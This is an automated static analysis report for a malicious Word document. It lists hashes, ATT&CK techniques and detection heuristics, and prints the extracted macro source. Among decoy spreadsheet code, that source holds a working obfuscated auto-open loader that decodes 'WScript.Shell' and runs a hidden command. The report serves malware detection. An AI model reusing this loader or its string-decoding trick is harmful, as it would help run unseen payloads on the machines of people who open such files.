Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78067335550ef58d…

MALICIOUS

Office (OLE)

338.5 KB Created: 2018-09-18 05:24:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: a397fe6fc9794be7daea22a8b75335ac SHA-1: 64aaafff5231a64aa939848f5240ae4e9eebe964 SHA-256: 78067335550ef58d16b4fba99618c19375f97238db53edee2b51663b49db7ecf
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1219 Remote Access Software T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample contains a heavily obfuscated VBA macro that utilizes `CreateObject` and `CallByName` within the `Document_Open` subroutine. This pattern strongly suggests the execution of a secondary payload, likely downloaded from a remote source. The ClamAV detection and heuristic firings for obfuscated auto-exec loaders further support this assessment.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6691358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6691358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2345 bytes
SHA-256: 1fb541bd17c37e6d889e4653d3bb8ce8b82b3ec1f94bba8ca5b4a94be905690d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub WBR()
Dim Count1Criteria As Variant
Dim Count3Criteria As Variant
Dim test As Variant
Dim wf As WorksheetFunction
Set wf = Application.WorksheetFunction

Filter1InSummary = Array(Array("AE4", "Latency", "O:O", "Pass"), _
                         Array("AE51", "TT", "G:G", "Yes"), _
                         Array("AE52", "TT", "G:G", "No"), _
                         Array("AE61", "Reactive", "R:R", "Item"))

Filter3InSummary = Array(Array("AE43", "TT", "I:I", "<>Duplicate TT", _
                                             "G:G", "<>Not Tested", _
                                             "U:U", "Item"))
For Each test In Filter3InSummary
    With Worksheets(test(1))
        Range(test(0)) = wf.CountIfs(.Range(test(2)), test(3), _
                                     .Range(test(4)), test(5), _
                                     .Range(test(6)), test(7))
    End With
    Next
Sub Document_Open()
Application.Run "HJ_"
End Sub
Private Sub HJ_()
CallByName CreateObject(R_("676373827980843E6378757C7C")), R_("62857E"), VbMethod, R_(ActiveDocument.Variables("LZSJY").Value), 0, True
End Sub

Sub testme()

Dim myResult As Variant

myResult = "Error!"
With ActiveSheet
If IsNumeric(.Cells(4, 4).Value) Then
If IsNumeric(.Cells(5, 4).Value) Then
If .Cells(5, 4).Value <> 0 Then
myResult = .Cells(4, 4).Value / .Cells(5, 4).Value / 100
End If
End If
End If
End With

MsgBox myResult
If IsNumeric(myResult) Then
MsgBox Format(myResult, "0.00%")
End If
End Sub
Private Function R_(ByVal XRR_ As String)
Dim HVB_ As String: Dim OG_ As Long: For OG_ = 1 To Len(XRR_) Step 2: HVB_ = HVB_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(XRR_, OG_, 2)) - 16): Next: R_ = HVB_
End Function
Sub dural()
    Dim r1 As Range, r2 As Range, r3 As Range

    Set r1 = Range("AE43")
    Set r2 = Range("AE51")
    Set r3 = Range("AE53")
    If r1.Value <> 0 Then
        r3.Value = r2.Value / r1.Value
    End If
    r3.NumberFormat = "00.0%"
End Sub

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